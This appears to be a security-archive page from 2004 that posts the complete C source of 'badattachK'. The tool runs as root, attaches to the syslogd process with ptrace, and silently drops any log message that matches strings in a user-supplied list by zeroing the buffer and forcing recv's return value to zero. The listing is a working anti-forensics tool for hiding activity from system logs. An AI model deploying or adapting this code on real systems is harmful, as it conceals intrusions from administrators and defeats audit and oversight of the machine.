exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

badattachK-0.3r2.c

badattachK-0.3r2.c
Posted Jul 6, 2004
Authored by Matias Sedalo | Site shellcode.com.ar

badattach is a man in the middle utility that analyzes syslog messages for a particular string match and if the match is made, it stops the information from getting to syslogd.

tags | system logging
systems | unix
SHA-256 | 83933948920ad08407b016d34f6512e6b36cc9a916a9bf712a447411a661eec9

badattachK-0.3r2.c

Change Mirror Download
/*
* badattachK version 0.3r2 for linux x86
* by Matias Sedalo <s0t4ipv6@shellcode.com.ar>
*
* MAN in THE MIDDLE of syslogd
******************************
* badattachK analyze the messages logs sent from any application to syslog daemon,
* it verifies if any strings into the list (string.list) is in the message; in this case,
* badattach cleans the buffer and inform to syslogd that no message was received.
*
* This happens in this way:
*
* The select one awakes with a message remote(recvfrom) or local(recv):
*
* /---------\ -> recv() SOCK_UNIX......\
* | select | > eax == 0
* \---------/ -> recvfrom() SOCK_INET../
*
* The return value of any of these two functions is the only test that a message was received,
* therefore when changing this value, the syslogd understands that any message has not been received.
* Then badattachK will intercept the remote(syslogd -r) and local messages.
*
* badattachK will finish when finding the string declared in the CANARY variable,
* for default "SH3llC0d3" is defined.
*
* Compile for debuggers
************************
* gcc -Wall -D__DEBUG -o badattachK badattachK.c
*
* Run
*****
* # ./badattachK `ps -fe | grep syslogd | awk '{print $2}'`
*
* TODO
* - Remove the argument and search the proccess of syslogd.
* - Reconnect when the service of syslogd is reinitiated.
* - SIGNALS.
*
*
* NOTE: Best viewed with tabstop=4
*
* (c)1999-2004 Shellcode Research
* http://www.shellcode.com.ar
*
*/

#include <stdio.h>
#include <stdlib.h> // atoi() calloc()
#include <string.h> //
#include <unistd.h> // getuid()

#include <sys/ptrace.h> // sys_ptrace()
#include <sys/user.h> // user_regs_struct
#include <stdarg.h> // va_list

#include <sys/types.h> // sys_waitpid()
#include <sys/wait.h> //
#include <asm/unistd.h> // syscalls
#include <ctype.h> // isascii()
#include <signal.h>

/* from /usr/include/linux/net.h*/
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
/* */

#define NAME "badattachK"
#define VERSION "0.3r2"
#define AUTHOR "Matias Sedalo <s0t4ipv6@shellcode.com.ar>"

#define CANARY "SH3llC0d3"
#define FILE_LIST "string.list"
#define MAXLINE 512

#define ASCIIZ(c) ( (iscntrl(c) == 0) ? c : 0x2e )

/* mensajes de error y salida */
void errorf(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
#ifdef __DEBUG
vfprintf(stdout, fmt, ap);
#endif
va_end(ap);
exit(-2);
}


long peek(pid_t ppid, void *preg)
{
return (ptrace(PTRACE_PEEKDATA, ppid, preg, 0));
}


long poke(pid_t ppid, void *preg, void *data)
{
return (ptrace(PTRACE_POKEDATA, ppid, preg, data));
}


/* BuffZero completa con 'count' zeros el buffer representado
* por la direccion en reg_buff */
void BuffZero(pid_t p, long count, u_long reg_buff)
{
int i;
u_long dat=0;

for (i=0; i<count; i++)
poke(p, (void *)reg_buff, (void *)dat);
}


/* NO TIENE USO, use esta funcion solo para debugging */
void Debugging(pid_t p, long count, u_long reg_buff)
{
char d[4];
u_long s;
int i;

printf("\t* Size Room: %li [0x%lx]\n", count, count);
for (i=0; i<count; i+=4)
{
s = peek(p, (void *)(reg_buff+i));
memcpy(&d, &s, 4);
printf("\t* 0x%08lx [ %08lx ]", reg_buff+i, s);
printf(" %c%c%c%c\n", ASCIIZ(d[0]), ASCIIZ(d[1]), ASCIIZ(d[2]), ASCIIZ(d[3]));
}
}


/* regcpy copia n bytes de la direccion de memoria
* src al puntero dest. */
void regcpy(pid_t m, char *dest, u_long src, size_t n)
{
int i;
u_long s;

for (i=0; i<n; i+=4) // i++ segfault en el ultimo fclose ;-) !
{
s = peek(m, (void *)(src+i));
memcpy(dest+i, &s, 4);
}
}


/* SearchStr devuelve la cantidad de veces que se encontro
* el string(reg_buff) en el buffer devuelto por syslogd:recv()
* o syslogd:recvfrom(), en caso de encontrar el CANARY devuelve -1.
* "p" es el proceso del syslogd
* "count" es la cantidad de bytes recibidos por recv()
* "reg_buff" es la direccion donde comienza el buffer (ecx+4)
* "fdlist" es el filedescriptor del archivo string.list */
int SearchStr(pid_t p, long count, u_long reg_buff, FILE *fdlist)
{
char *d;
char f[MAXLINE];
int i, c=0;

if ((d = calloc(count + 1, sizeof(char))) == NULL)
errorf("Can't allocate %d bytes of memory\n", count+1);

/* Copiamos el log de "count" bytes en char *d */
regcpy(p, d, reg_buff, count);

/* los hosts que loguean remotamente en el server agregan un \n
* al final de la cadena, lo sacamos simplemente para que en
* modo debug no joda */
if ( d[strlen(d)-1] == '\n' ) d[strlen(d)-1] = '\0';

(void )fseek(fdlist, 0L, SEEK_SET);

while (fgets(f, MAXLINE-1, fdlist) && (c != -1))
{
f[strlen(f)-1]='\0';
for (i=0; i<count; i++)
if ( strncmp(d+i, CANARY, strlen(CANARY)) == 0 )
{
#ifdef __DEBUG
printf("\t- CANARY found\n");
#endif
c = -1;
break;
} else if ( strncmp(d+i, f, strlen(f)) == 0 )
{
#ifdef __DEBUG
printf("\t- Found '%s' at 0x%08lx\n", d+i, reg_buff+i);
#endif
c++;
}
}
/* al dejar eax=0 las instruccion siguientes a syslogd:recv()
* y recvfrom() entienden que no se ha recibido ningun mensaje.
* Por eso quizas puede descartarse la idea de limpiar el buffer
* donde fue encontrado el string, pero podria ser util */
if ( c > 0 ) BuffZero(p, count, reg_buff);

free(d);
return c;
}


void traceloop(pid_t pid, FILE *fdfile)
{
struct user_regs_struct regs;
int RECVFROM, BOOL=0;

while (BOOL != -1)
{
RECVFROM = 0;
if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0)
errorf("PTRACE_SYSCALL on pid %d\n", pid);

waitpid(pid, NULL, 0);

if ( (ptrace(PTRACE_GETREGS, pid, 0, &regs)) != 0)
errorf("PTRACE_GETREGS on pid %d\n", pid);

switch (regs.orig_eax) // syscall
{
/* el syslog utiliza SOCK_UNIX sobre /dev/log para recibir los evento
* vamos a tener el siguiente flujo en el syslog:
* 1.select() <- una interrupcion sobre cualquier SOCK_*
* 2.recv() o recvfrom() <- recibimos el mensaje via SOCK_*
* - Nos acoplamos para buscar el string en el buffer de recv() o recvfrom()
* - En eax tengo la cantidad de bytes recibidos.
* ...
* 3.sys_writev() <- Escribir los logs solo si eax > 0
*/
case __NR_socketcall:
#ifdef __DEBUG
printf("\n + SYS_socketcall:");
#endif
/* ebx definira cual de las clases utilizara */
switch (regs.ebx)
{
case SYS_RECVFROM:
RECVFROM = 1;
case SYS_RECV:
if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0)
errorf("PTRACE_SYSCALL on pid %d\n", pid);

waitpid(pid, NULL, 0);

if ( (ptrace(PTRACE_GETREGS, pid, 0, &regs)) != 0)
errorf("PTRACE_GETREGS on pid %d\n", pid);
#ifdef __DEBUG
/* Segun parece algunos syslog trabajan internamente diferente segun la version
* del kernel y otros parches, lo que se supone no deberia de trabajar diferente
* son las funciones recv() y recvfrom(). Por lo tanto en ecx estara la direccion
* de memoria que completara los argumentos de la funcion */
if ( RECVFROM == 1 )
{
printf("recvfrom(%li, 0x%08lx, %li, %li, 0x%08lx, 0x%08lx",
peek(pid, (void *)(regs.ecx)), // socket Filedescriptor (int)
peek(pid, (void *)(regs.ecx+4)), // buffer pointer (void *)
peek(pid, (void *)(regs.ecx+8)), // lenght (size_t)
peek(pid, (void *)(regs.ecx+12)), // flags (int)
peek(pid, (void *)(regs.ecx+16)), // struct sockaddr *
peek(pid, (void *)(regs.ecx+20))); // socklen_t *
} else {
printf("recv(%li, 0x%08lx, %li, %li",
peek(pid, (void *)(regs.ecx)), // socket Filedescriptor (int)
peek(pid, (void *)(regs.ecx+4)), // buffer pointer (void *)
peek(pid, (void *)(regs.ecx+8)), // lenght (size_t)
peek(pid, (void *)(regs.ecx+12))); // flags (int)
}
printf(") == %li bytes\n", regs.eax);
/* Descomentar esta linea para mas debugging */
// (void )Debugging(pid, regs.eax, peek(pid, (void *)(regs.ecx+4)));
#endif
/* evitemos kilombo */
if ( peek(pid, (void *)(regs.ecx+4)) != 0 && regs.eax > 0 )
/* Buscamos la lista de strings */
if ( (BOOL = SearchStr(pid, regs.eax, peek(pid, (void *)(regs.ecx+4)), fdfile)) > 0 || BOOL == -1 )
{
/* al dejar eax en 0 las intrucciones siguientes al recv() o recvfrom()
* interpretan que no se ha recibido ningun dato, por lo tanto
* el syslogd no intentara hacer un writev() a los archivos de log */
regs.eax = 0;
#ifdef __DEBUG
printf("\t- Discarding log line received\n");
#endif
if ( (ptrace(PTRACE_SETREGS, pid, 0, &regs)) != 0)
errorf("PTRACE_SETREGS on pid %d\n", pid);
}
break;
default:
printf("what type??");
break;
}
break;

case __NR_writev:
/* Esto es solo a modo informativo para que pueda verse
* el comportamiento normal de escritura de eventos */
#ifdef __DEBUG
printf(" + SYS_writev: writev(%li, 0x%08lx, %li)",
regs.ebx, // Filedescriptor (int)
regs.ecx, // const struct iovec *vector
regs.edx); // count (int)
#endif
if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0)
errorf("PTRACE_SYSCALL on pid %d\n", pid);

waitpid(pid, NULL, 0);

if ( (ptrace(PTRACE_GETREGS, pid, 0, &regs)) != 0)
errorf("PTRACE_GETREGS on pid %d\n", pid);
#ifdef __DEBUG
printf(" == %li bytes\n",regs.eax);
#endif
break;

default:
// nothing to do
break;
}
}
}


int main(int argc, char *argv[])
{
pid_t syslog;
int dad, p;
FILE *fd;

if (argc < 2)
{
printf("(c)2004 %s Version %s by %s\n", NAME, VERSION, AUTHOR);
printf("Use: %s <pid of syslog>\n", argv[0]);
exit(1);
}
else // TODO: Eliminar el argumento y rastrear el proceso de syslog
// acoplandose y reacoplandose cuando sea reiniciado.
syslog = atoi(argv[1]);

if ( getuid() != 0 )
{
printf("You must be root to execute this tool\n");
exit(-2);
}
#ifndef __DEBUG
if ( (dad = fork()) == -1 ) errorf("Can't fork\n");
if ( dad == 0 )
{
#endif
/* nos acoplamos al proceso de syslog */
if ( (p = ptrace(PTRACE_ATTACH, syslog, 0, 0)) != 0)
errorf("PTRACH_ATTACH on pid %d failed\n", syslog);
#ifdef __DEBUG
printf("* syslogd on pid %d atached\n", syslog);
#endif
if ( (fd = fopen(FILE_LIST, "r")) == NULL )
errorf("Can't open %s file\n", FILE_LIST);

(void)traceloop(syslog, fd);
/* nos vamos */
if ( (p = ptrace(PTRACE_DETACH, syslog, 0, 0)) != 0)
errorf("PTRACH_DETACH on pid %d failed\n", syslog);
fclose(fd);
#ifdef __DEBUG
printf("\n* detach pid\n");
printf(" * Thankz to enjoy this tool\n * 100%%Free Hemp **\n");
#else
}
#endif
exit(0);
}
//_EOF_
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close